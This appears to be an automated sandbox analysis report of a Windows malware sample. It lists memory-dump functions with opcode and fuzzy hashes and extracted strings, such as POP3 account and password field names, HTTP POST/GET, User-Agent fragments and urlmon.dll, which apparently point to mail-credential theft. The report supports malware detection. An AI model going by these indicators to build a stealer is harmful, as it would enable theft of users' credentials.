Opcode ID: 55abd0d730f3edfc8f40dd672c8450f58e8582ac5a9713aa6855c618a3f3be06
Instruction ID: da706dfa733762baee54bba5794ba2080bf1e79dbc4bd1e30116ebe49e8d1acb
Opcode Fuzzy Hash: 55abd0d730f3edfc8f40dd672c8450f58e8582ac5a9713aa6855c618a3f3be06
Instruction Fuzzy Hash: C25176B1901208BFEB11CF94DC42FEE7BB8AF15314F04466AF909AB281E7745A55CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 504970F7, Relevance: 6.4, Strings: 5, Instructions: 151COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50497196, 50497199
POST, xrefs: 50497176, 5049719A, 5049720C, 50497241, 50497252
rer, xrefs: 5049716A
*/*, xrefs: 50497209
POST, xrefs: 5049723C, 5049723F

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: */*$POST$POST$Windows Expl$rer
API String ID: 0-1278404498
Opcode ID: 3ca8ca8db6e973f96f05b23d399c16467fa45ff294476d1709e719225fa8fcfd
Instruction ID: cc192b5b35c011518e7b701ff7f02009b6cd4235d9c6ac991d15696e2230bf06
Opcode Fuzzy Hash: 3ca8ca8db6e973f96f05b23d399c16467fa45ff294476d1709e719225fa8fcfd
Instruction Fuzzy Hash: AF5184B1901209AFEB11CFA4DC41BEFBBB8EF14314F00456AF908AB281D7745A55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 5048FFF0, Relevance: 6.3, Strings: 5, Instructions: 93COMMON

Download Yara Rule

Strings

.;HP", xrefs: 5049004C, 5049004F, 50490061
", xrefs: 50490027
/, xrefs: 5049003C
", xrefs: 5049002E
", xrefs: 50490035

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "$"$"$.;HP"$/
API String ID: 0-3177049210
Opcode ID: 59d3a4136e36f7f9a2579bfd388b5f97152e75a2ae7792072d53e0960fbb8789
Instruction ID: 91b691f21f9532ea0d0e203aab6dd9aea9c720a4ce45bde28fb25bdf445b5288
Opcode Fuzzy Hash: 59d3a4136e36f7f9a2579bfd388b5f97152e75a2ae7792072d53e0960fbb8789
Instruction Fuzzy Hash: 123161F681110CB6DB10DBE49D42EEF377C9F94308F004ABABA0596102F675A7648BF6

Uniqueness

Uniqueness Score: -1.00%

Function 50496EF7, Relevance: 6.3, Strings: 5, Instructions: 91COMMON

Download Yara Rule

Strings

rer, xrefs: 50496F61
GET, xrefs: 50496FE2, 50496FE5
Windows Expl, xrefs: 50496FA9, 50496FB8
Expl, xrefs: 50496F96, 50496F9C
Windows Expl, xrefs: 50496F75, 50496F78

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Expl$GET$Windows Expl$Windows Expl$rer
API String ID: 0-314038199
Opcode ID: 1ee2b983beb3da804c69861f303041e8fe1ab3fbbf518b475522efe816e4d7c9
Instruction ID: 3fc71132194f9696c90b792ec1d992ea1c79ceba4fef72da21a2b4ad4ef1951d
Opcode Fuzzy Hash: 1ee2b983beb3da804c69861f303041e8fe1ab3fbbf518b475522efe816e4d7c9
Instruction Fuzzy Hash: 2B31B4B1A423157AEB218B508C42FEF7F74AB55B18F14026DF6087E2C1D3B46A51CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50483D62, Relevance: 6.3, Strings: 5, Instructions: 74COMMON

Download Yara Rule

Strings

2.5, xrefs: 50483E2F
:, xrefs: 50483E46
:, xrefs: 50483E00
1, xrefs: 50483E13
XLNG, xrefs: 50483E3F

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1$2.5$:$:$XLNG
API String ID: 0-2797498779
Opcode ID: ddea7e05a916ce940d68063a3480f3fe935138ca5560054e5f1b47d3d7901c4c
Instruction ID: c3a0ebe6660db810c5c264f3053bbc2a907ba5ab29b478976102956f18ca5108
Opcode Fuzzy Hash: ddea7e05a916ce940d68063a3480f3fe935138ca5560054e5f1b47d3d7901c4c
Instruction Fuzzy Hash: AB212CB5E103189EDB50CFA88801BDEB7F5EF48304F1045AEA40CE7251EB745A458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 50495840, Relevance: 6.3, Strings: 5, Instructions: 62COMMON

Download Yara Rule

Strings

er-A, xrefs: 50495880
urlmon.dll, xrefs: 5049589D, 504958A0
: , xrefs: 5049588E
Us, xrefs: 50495879
gent, xrefs: 50495887

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Us$: $er-A$gent$urlmon.dll
API String ID: 0-1367105278
Opcode ID: 83a98b81a4a3e61cf74457b8895cbcb509b351059fce53dfe28498a3f2ea8403
Instruction ID: 304f827a2d30351480fb72948b29af613c24fcca7c16e5d6ad34bd7aed4d14c9
Opcode Fuzzy Hash: 83a98b81a4a3e61cf74457b8895cbcb509b351059fce53dfe28498a3f2ea8403
Instruction Fuzzy Hash: 831190B1D02219AADB00DFD5DC06BEFBBB8AF55714F10016AEC04AA240D2B99A1587E6

Uniqueness

Uniqueness Score: -1.00%

Function 5048EFC0, Relevance: 5.2, Strings: 4, Instructions: 236COMMON

Download Yara Rule

Strings

~F@7%m$~, xrefs: 5048F05A
~draGon~, xrefs: 5048F052
%m$~, xrefs: 5048F190, 5048F195
%m$~, xrefs: 5048F016

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: %m$~$%m$~$~F@7%m$~$~draGon~
API String ID: 0-2027109948
Opcode ID: defecb02bde0a7ec6638cf7b19bb18db07dc908591360d467ae1ae9a78d0deaf
Instruction ID: c33302bda6eedd99c4b7f5127efbddbb2ab4915d750294565885afdb6d02977a
Opcode Fuzzy Hash: defecb02bde0a7ec6638cf7b19bb18db07dc908591360d467ae1ae9a78d0deaf
Instruction Fuzzy Hash: DA816F71D05254AFDB11CBA49C42BDE7BB89F56204F100BE9E88853243DA389F558BD2

Uniqueness

Uniqueness Score: -1.00%

Function 5048F390, Relevance: 5.2, Strings: 4, Instructions: 231COMMON

Download Yara Rule

Strings

POP3Account, xrefs: 5048F53C, 5048F53F
POP3Password, xrefs: 5048F57B, 5048F57E
Account, xrefs: 5048F517, 5048F51D
Password, xrefs: 5048F560, 5048F563

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Account$POP3Account$POP3Password$Password
API String ID: 0-3724906831
Opcode ID: add370cdde58b58e3cfcfd4bd34a89c1d70a3d2c42bff01ff864618fdd1f5c66
Instruction ID: 65a23919888d0cfed8f7de1dcff2b50b47ea642c1fdc74d34ad6ce38894685a5
Opcode Fuzzy Hash: add370cdde58b58e3cfcfd4bd34a89c1d70a3d2c42bff01ff864618fdd1f5c66
Instruction Fuzzy Hash: 4E819AB1C01208BEDB10DFE88C42BEEBBB8AF55304F10466EE509F7242E7755A55CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 504966D0, Relevance: 5.2, Strings: 4, Instructions: 227COMMON

Download Yara Rule

Strings

:, xrefs: 50496724
Port:User :, xrefs: 504967CE, 504967D1
Server:, xrefs: 5049675E
User :, xrefs: 504968AA, 504968DD, 5049691A, 50496957, 504967BD, 504967F0, 5049683C, 50496888, 504967C0, 504967F3, 5049683F, 5049688B, 504968AD, 504968E0, 5049691D, 5049695A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$Port:User :$Server:$User :
API String ID: 0-1282517814
Opcode ID: f39a32d68ef925b67cf03dc6151cf842ece7155ae1f764d1680619091ae5a84f
Instruction ID: fdd145bc9a5166caeb554a6a749157883b84791fab150c86e40e26daad4d115c
Opcode Fuzzy Hash: f39a32d68ef925b67cf03dc6151cf842ece7155ae1f764d1680619091ae5a84f
Instruction Fuzzy Hash: F98117B2801218ABCF11DBD4CC85DDF7BBCAF58214F008E6EF54966100E979E7988BE5

Uniqueness

Uniqueness Score: -1.00%

Function 504928D0, Relevance: 5.2, Strings: 4, Instructions: 157COMMON

Download Yara Rule

Strings

r, xrefs: 5049297A
P, xrefs: 50492965
w, xrefs: 50492973
s, xrefs: 5049296C

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: P$r$s$w
API String ID: 0-3891800351
Opcode ID: a6a96e9977481fa07fea658543dc90f93d2d01bc7a8a7128c5d6cf08aa9d653d
Instruction ID: 46451f6983514226b4c4aa7272314501dd01a282ad7a5a784421ab7c2b255b1b
Opcode Fuzzy Hash: a6a96e9977481fa07fea658543dc90f93d2d01bc7a8a7128c5d6cf08aa9d653d
Instruction Fuzzy Hash: 865139B1D00208AFDB20CFA4C981BDEBBF5EF58314F14456EE909EB241E7399A10CB95

Uniqueness

Uniqueness Score: -1.00%

Function 504966D2, Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

:, xrefs: 50496724
Port:User :, xrefs: 504967CE, 504967D1
Server:, xrefs: 5049675E
User :, xrefs: 504967BD, 504967F0, 5049683C, 50496888, 504967C0, 504967F3, 5049683F, 5049688B

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$Port:User :$Server:$User :
API String ID: 0-1282517814
Opcode ID: 951bcebba9df163e6dd98bd4b8ff280cb04c13b87ea169195183f8956472d680
Instruction ID: 699b91e762f09359bf5f50bd542bef97432c4e7d16066577ac2f3f74c9115205
Opcode Fuzzy Hash: 951bcebba9df163e6dd98bd4b8ff280cb04c13b87ea169195183f8956472d680
Instruction Fuzzy Hash: D45109B2801208AACF11DFD4CC819DF7BBCEF58214F048A6EF54967101E939E7588BE5

Uniqueness

Uniqueness Score: -1.00%

Function 50488318, Relevance: 5.1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

Strings

N, xrefs: 50488367
M, xrefs: 5048836E
U, xrefs: 50488359
E, xrefs: 50488360

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: E$M$N$U
API String ID: 0-146571782
Opcode ID: e35ba41e07602b60ed03c2f62b5efcc54c0ec3f85856ddc9a2fb3eac0b4eb775
Instruction ID: b33279f2eb4ed620e2a9c4aaf03a042f425a5df6e441b2cc84a63265fbd40d34
Opcode Fuzzy Hash: e35ba41e07602b60ed03c2f62b5efcc54c0ec3f85856ddc9a2fb3eac0b4eb775
Instruction Fuzzy Hash: A8413AB6DC231835E72196A09C17FEB36288F3070EF044E9DFA09AA1C2F6B9671546D1

Uniqueness

Uniqueness Score: -1.00%

Function 50488320, Relevance: 5.1, Strings: 4, Instructions: 133COMMON

Download Yara Rule

Strings

N, xrefs: 50488367
M, xrefs: 5048836E
U, xrefs: 50488359
E, xrefs: 50488360

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: E$M$N$U
API String ID: 0-146571782
Opcode ID: 55a16fb08a46e66d6bc4138d3e5cb9a37cd05817b888de09e329b0862c9105e6
Instruction ID: 8fdd1629be607b2dd67a9bf9c8e2d6acba7fd491e7302b323cb75923154bcdd0
Opcode Fuzzy Hash: 55a16fb08a46e66d6bc4138d3e5cb9a37cd05817b888de09e329b0862c9105e6
Instruction Fuzzy Hash: 16415AB6DC231836E73096A09C07FDB36688F3070EF044E9DFA09A51C2F6796B1546D1

Uniqueness

Uniqueness Score: -1.00%

Function 5048EFB4, Relevance: 5.1, Strings: 4, Instructions: 130COMMON

Download Yara Rule

Strings

~draGon~, xrefs: 5048F052
~F@7, xrefs: 5048F030
%m$~, xrefs: 5048F047
%m$~, xrefs: 5048F016

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: %m$~$%m$~$~F@7$~draGon~
API String ID: 0-3535714419
Opcode ID: 10d8888085cb00d72923adf6fffa3db7984efe3f752607e9f0e2c34a412c38ec
Instruction ID: 2cfb8d40115211506e6eb667c28a773ddd3283ead972aef24bdd5a8f87e55299
Opcode Fuzzy Hash: 10d8888085cb00d72923adf6fffa3db7984efe3f752607e9f0e2c34a412c38ec
Instruction Fuzzy Hash: 16413AB5C05254AEDB11CBA488027DFBBB59F93204F144BAADC89A7203E63D5F05C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 5049ACFA, Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

bIW, xrefs: 5049AD9C
WAt, xrefs: 5049AE32
.dll, xrefs: 5049AF1F, 5049AF25
.dll, xrefs: 5049AED2, 5049AED5

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .dll$.dll$WAt$bIW
API String ID: 0-4102820332
Opcode ID: 75a7745043dcbdee567c13dec188d9d66acdca3da99cf032b0a3a6c3845950b9
Instruction ID: 4eb7492ec2d1aaa13e27122e3cd48cb047671f5942919fa5ce655558f6008d82
Opcode Fuzzy Hash: 75a7745043dcbdee567c13dec188d9d66acdca3da99cf032b0a3a6c3845950b9
Instruction Fuzzy Hash: 8D5134B0C092699EDB619F509841BEDBFB4FB55204F008AE9C48DAB205D7782A95CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 5049AD00, Relevance: 5.1, Strings: 4, Instructions: 121COMMON

Download Yara Rule

Strings

bIW, xrefs: 5049AD9C
WAt, xrefs: 5049AE32
.dll, xrefs: 5049AF1F, 5049AF25
.dll, xrefs: 5049AED2, 5049AED5

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .dll$.dll$WAt$bIW
API String ID: 0-4102820332
Opcode ID: a403ea4b00cf5bb2ed96df0bdd581fb3d4f9e42624820d7d5a2e2478be23e873
Instruction ID: 84cb8e62686eaa3abe177b062cbb18d6631cb215b31b3d529c4068482c066953
Opcode Fuzzy Hash: a403ea4b00cf5bb2ed96df0bdd581fb3d4f9e42624820d7d5a2e2478be23e873
Instruction Fuzzy Hash: FA5143B0C092699EDB619F509841BEDBFB4FF56304F0089EAC48DAB205D7782A95CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 5048C5F0, Relevance: 5.1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

Strings

k, xrefs: 5048C6AC
U, xrefs: 5048C6A5
o, xrefs: 5048C6B3
n, xrefs: 5048C6BA

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: U$k$n$o
API String ID: 0-3751959358
Opcode ID: d7f385ea0c9a83372657b7ea85da33de96b679edff69530ecfb1c00523dfaa2e
Instruction ID: 2b6b50b6e70d9194cc02d343d3c4aa526b1e3c257179b807e9f4588f50720273
Opcode Fuzzy Hash: d7f385ea0c9a83372657b7ea85da33de96b679edff69530ecfb1c00523dfaa2e
Instruction Fuzzy Hash: 2341E6B2900704AAD311DFA5DC85FDBB3EDAF84704F004E2EF61997241E77466188BE4

Uniqueness

Uniqueness Score: -1.00%

Function 5048F4E8, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

POP3Account, xrefs: 5048F53C, 5048F53F
POP3Password, xrefs: 5048F57B, 5048F57E
Account, xrefs: 5048F517, 5048F51D
Password, xrefs: 5048F560, 5048F563

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Account$POP3Account$POP3Password$Password
API String ID: 0-3724906831
Opcode ID: 5e3bcadbc24901c878f1c7f5ba3bd9af40ce541dd05a58b224f2992cd013bd47
Instruction ID: baaef68d57ce95bdf29a446825851fd5b18c01d4e69cc069d38f32cb09a30ea7
Opcode Fuzzy Hash: 5e3bcadbc24901c878f1c7f5ba3bd9af40ce541dd05a58b224f2992cd013bd47
Instruction Fuzzy Hash: 7031BCB6C011087ADB14DAE48C82EEF777C9F55208F404F5AF905A3102FA38AA5687F1

Uniqueness

Uniqueness Score: -1.00%

Function 50486F00, Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

y, xrefs: 50486F19
[, xrefs: 50486F12
m, xrefs: 50486F27
t, xrefs: 50486F20

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: [$m$t$y
API String ID: 0-3854059060
Opcode ID: 8ef5c1b6124d491b9b77cf27e9241433c5a93c7f44110ce11a35ed05e5688640
Instruction ID: 97c4c88b1f9fd67c102399d3426c5cddcc15fa16ed9eb24733237cb116a55395
Opcode Fuzzy Hash: 8ef5c1b6124d491b9b77cf27e9241433c5a93c7f44110ce11a35ed05e5688640
Instruction Fuzzy Hash: 0121D0B19007049FC724CF99D4449ABBBF5EF88310F108A6EE84A9B711E7B5EA51CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 5048A2A8, Relevance: 5.1, Strings: 4, Instructions: 69COMMON

Download Yara Rule

Strings

g, xrefs: 5048A30B
i, xrefs: 5048A312
l, xrefs: 5048A304
i, xrefs: 5048A319

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: g$i$i$l
API String ID: 0-114883354
Opcode ID: b2fe28b65b8501e6ace0115df5cbf78cfb40b8bc5e5ece3000ef16e6708f0d77
Instruction ID: 116d00876fe0130ab200d2538af0c6781c20ced33c71b8d6f6a6f8f6db410a0c
Opcode Fuzzy Hash: b2fe28b65b8501e6ace0115df5cbf78cfb40b8bc5e5ece3000ef16e6708f0d77
Instruction Fuzzy Hash: 73119071D11214AAEB11DFE5DC02BEF7BBCEF95704F00052EE905A7240E779562087E5

Uniqueness

Uniqueness Score: -1.00%

Function 5048A2B0, Relevance: 5.1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

Strings

g, xrefs: 5048A30B
i, xrefs: 5048A312
l, xrefs: 5048A304
i, xrefs: 5048A319

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: g$i$i$l
API String ID: 0-114883354
Opcode ID: 0cc5fd738edffaeb49670a52552e87d07275ea919c2b0a42361a891d8a7e220c
Instruction ID: db0b36448321e352fdd00240ae6e59a1aa839a52e6bbb46f3aff984d017e30a9
Opcode Fuzzy Hash: 0cc5fd738edffaeb49670a52552e87d07275ea919c2b0a42361a891d8a7e220c
Instruction Fuzzy Hash: 6A117F71D11218BADB11DFE9DC06BAF7BBCEF95704F00052AF905A7240E7B9662087E5

Uniqueness

Uniqueness Score: -1.00%

Function 5049B370, Relevance: 5.0, Strings: 4, Instructions: 34COMMON

Download Yara Rule

Strings

I, xrefs: 5049B388
M, xrefs: 5049B38F
-, xrefs: 5049B396
A, xrefs: 5049B381

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: -$A$I$M
API String ID: 0-1664541526
Opcode ID: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
Instruction ID: c8ff32e06b960adf9dcde91ef66c0244eb2201ee2e4101005e54fb9d8a9fd8f4
Opcode Fuzzy Hash: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
Instruction Fuzzy Hash: B2F054719012186ADB10DAD568457ED7BFCEB05308F4045A7EC0896241E7B55A6847D1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: secinit.exe PID: 4788 Parent PID: 5944 secinit.exeCOMMON

Executed Functions

Function 50488AA0, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8487691a4bcaf40d56d068c9dd32776c2d1a4057530f0ec82588bf8c5a9fc800
Instruction ID: 5800d41af399f09256f2d1c7c4852d5c8b955f2c31f544c55dfe44148046dfa3
Opcode Fuzzy Hash: 8487691a4bcaf40d56d068c9dd32776c2d1a4057530f0ec82588bf8c5a9fc800
Instruction Fuzzy Hash: 4C01DB71403B1126C7116BF86C4268F7BCC9F22158F044F2FF455A2681E66CF60487EA

Uniqueness

Uniqueness Score: -1.00%

Function 50499BC0, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7793ebe11ab65c388fbcd72951bd83ae708993586c49c117fa4587c3df3ae89d
Instruction ID: abe917d3349d54a8a62b3270aa6a0ec69261788e40e1f702053093d9a5f62117
Opcode Fuzzy Hash: 7793ebe11ab65c388fbcd72951bd83ae708993586c49c117fa4587c3df3ae89d
Instruction Fuzzy Hash: 07F068B290130856FB24DBB49D4BF9973785F14708F400FEDBA0CA6181FE79AA558AE1

Uniqueness

Uniqueness Score: -1.00%

Function 50496E20, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dbb2e6a218dd5e6871012264961e21634340eebca20321b0e777679f0768291
Instruction ID: 9eb043d311a8e83772d388a163baeebdbd57ca23918bf482a7a647414f06662a
Opcode Fuzzy Hash: 3dbb2e6a218dd5e6871012264961e21634340eebca20321b0e777679f0768291
Instruction Fuzzy Hash: 7BF08C71A4231036D620A7F98C07F8B7A9CCF96F19F000A3FFA49E7180C9B8B40042E9

Uniqueness

Uniqueness Score: -1.00%

Function 50488B50, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e47561c24f3000999b30e70211801994e8036f11c3f522a1e3cde1310c6b66
Instruction ID: e570e9019714ae83fc3da8825ec3d2904643af3f52f20ee51fe2e270e5bef4fd
Opcode Fuzzy Hash: e4e47561c24f3000999b30e70211801994e8036f11c3f522a1e3cde1310c6b66
Instruction Fuzzy Hash: E0D0A7B7C0212822DC0025C43C42DCA330C4E6256CF00056BFB0E17642D65E769202EE

Uniqueness

Uniqueness Score: -1.00%

Function 50488B42, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5cf84e189200712ec54a15c0998aae716513eeac8ceae25e708bc148b9ec26
Instruction ID: 58a0e49b7dd3ee3965ce0a050eb9957f1b08e6229e10f77e9d686795e6dcb98a
Opcode Fuzzy Hash: 4d5cf84e189200712ec54a15c0998aae716513eeac8ceae25e708bc148b9ec26
Instruction Fuzzy Hash: FDD022A7C0A1A8739C002DC86C02AC2378C8E431B8F50039AFE5A43283AB02E84282D6

Uniqueness

Uniqueness Score: -1.00%

Function 02F40000, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560463592.0000000002F40000.00000040.00000001.sdmp, Offset: 02F40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f87fc558e2f538fd351bdfc49e2c6aa18e45c6a6d2c8ec1415aa36aaa266a9
Instruction ID: 18b5e61e04c7bcae5a7a9f8a09946595db22e2a0f492063f86ebefdf2a899b08
Opcode Fuzzy Hash: a8f87fc558e2f538fd351bdfc49e2c6aa18e45c6a6d2c8ec1415aa36aaa266a9
Instruction Fuzzy Hash: 33D01275914208EFDB04CF54D84589EBBF5EB44320F20C165E914973A0E731AE509A44

Uniqueness

Uniqueness Score: -1.00%

Function 504889D0, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e8ec73e4bb8342fbb4d26883448c621c9b31b93c0ddd164dd886068529ed33
Instruction ID: 9f04e3af870ad7f2512dbe3cdd4fdd77306f908db9c2f21e77fdd35b86dd4207
Opcode Fuzzy Hash: 13e8ec73e4bb8342fbb4d26883448c621c9b31b93c0ddd164dd886068529ed33
Instruction Fuzzy Hash: 56B09B7594134833CD1065E86C57D5F374C4754908F000E25B90C57141D5B9F55041D5

Uniqueness

Uniqueness Score: -1.00%

Function 5049D420, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d62313a17ebebcfcfc90a0fd0273dd5027241c25d173eb16611f0ac046b17f3
Instruction ID: 60efb9a304c862cf1b2cb41a0d6ca05a3f718936f2179e03e79723808d726d51
Opcode Fuzzy Hash: 2d62313a17ebebcfcfc90a0fd0273dd5027241c25d173eb16611f0ac046b17f3
Instruction Fuzzy Hash: 2EA02200C0A30C03082030FC3A0302BBB0C8020008F000BFAAC0C022003C8ABC3000E3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 50489453, Relevance: 51.4, Strings: 41, Instructions: 168COMMON

Download Yara Rule

Strings

@@@@, xrefs: 50489611
@@@@, xrefs: 50489657
@@@@, xrefs: 504895EE
@@@@, xrefs: 504895C4
@@@@, xrefs: 50489603
@@@@, xrefs: 50489642
@@@@, xrefs: 50489626
@@@@, xrefs: 504895BD
@@@@, xrefs: 504895A5
@@@@, xrefs: 5048967A
@@@@, xrefs: 5048960A
@@@@, xrefs: 5048962D
@@@@, xrefs: 50489618
@@@@, xrefs: 504895AF
@@@@, xrefs: 504895FC
-./0, xrefs: 50489591
@@@@, xrefs: 50489688
@@@@, xrefs: 5048963B
@@@@, xrefs: 504895E0
@@@@, xrefs: 504895B6
@@@@, xrefs: 504895E7
@@@@, xrefs: 50489673
@@@@, xrefs: 50489665
@@@@, xrefs: 50489634
@@@@, xrefs: 50489649
123@, xrefs: 5048959B
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 5048965E
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
%&'(, xrefs: 5048957D
!"#$, xrefs: 50489573
@@@@, xrefs: 5048966C
@@@@, xrefs: 50489681
@@@@, xrefs: 5048961F
@@@@, xrefs: 504895D2
@@@@, xrefs: 50489650
)*+,, xrefs: 50489587
@@@@, xrefs: 504895CB
@@@@, xrefs: 504895D9
@@@@, xrefs: 50489555
@@@@, xrefs: 504895F5

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction ID: 72ce695b6db6dbeeb2e92690cd02e283a63e13618cfa2be84553f54092fb4ea7
Opcode Fuzzy Hash: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction Fuzzy Hash: 019110F08052A88ECB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 50489460, Relevance: 51.4, Strings: 41, Instructions: 166COMMON

Download Yara Rule

Strings

@@@@, xrefs: 50489611
@@@@, xrefs: 50489657
@@@@, xrefs: 504895EE
@@@@, xrefs: 504895C4
@@@@, xrefs: 50489603
@@@@, xrefs: 50489642
@@@@, xrefs: 50489626
@@@@, xrefs: 504895BD
@@@@, xrefs: 504895A5
@@@@, xrefs: 5048967A
@@@@, xrefs: 5048960A
@@@@, xrefs: 5048962D
@@@@, xrefs: 50489618
@@@@, xrefs: 504895AF
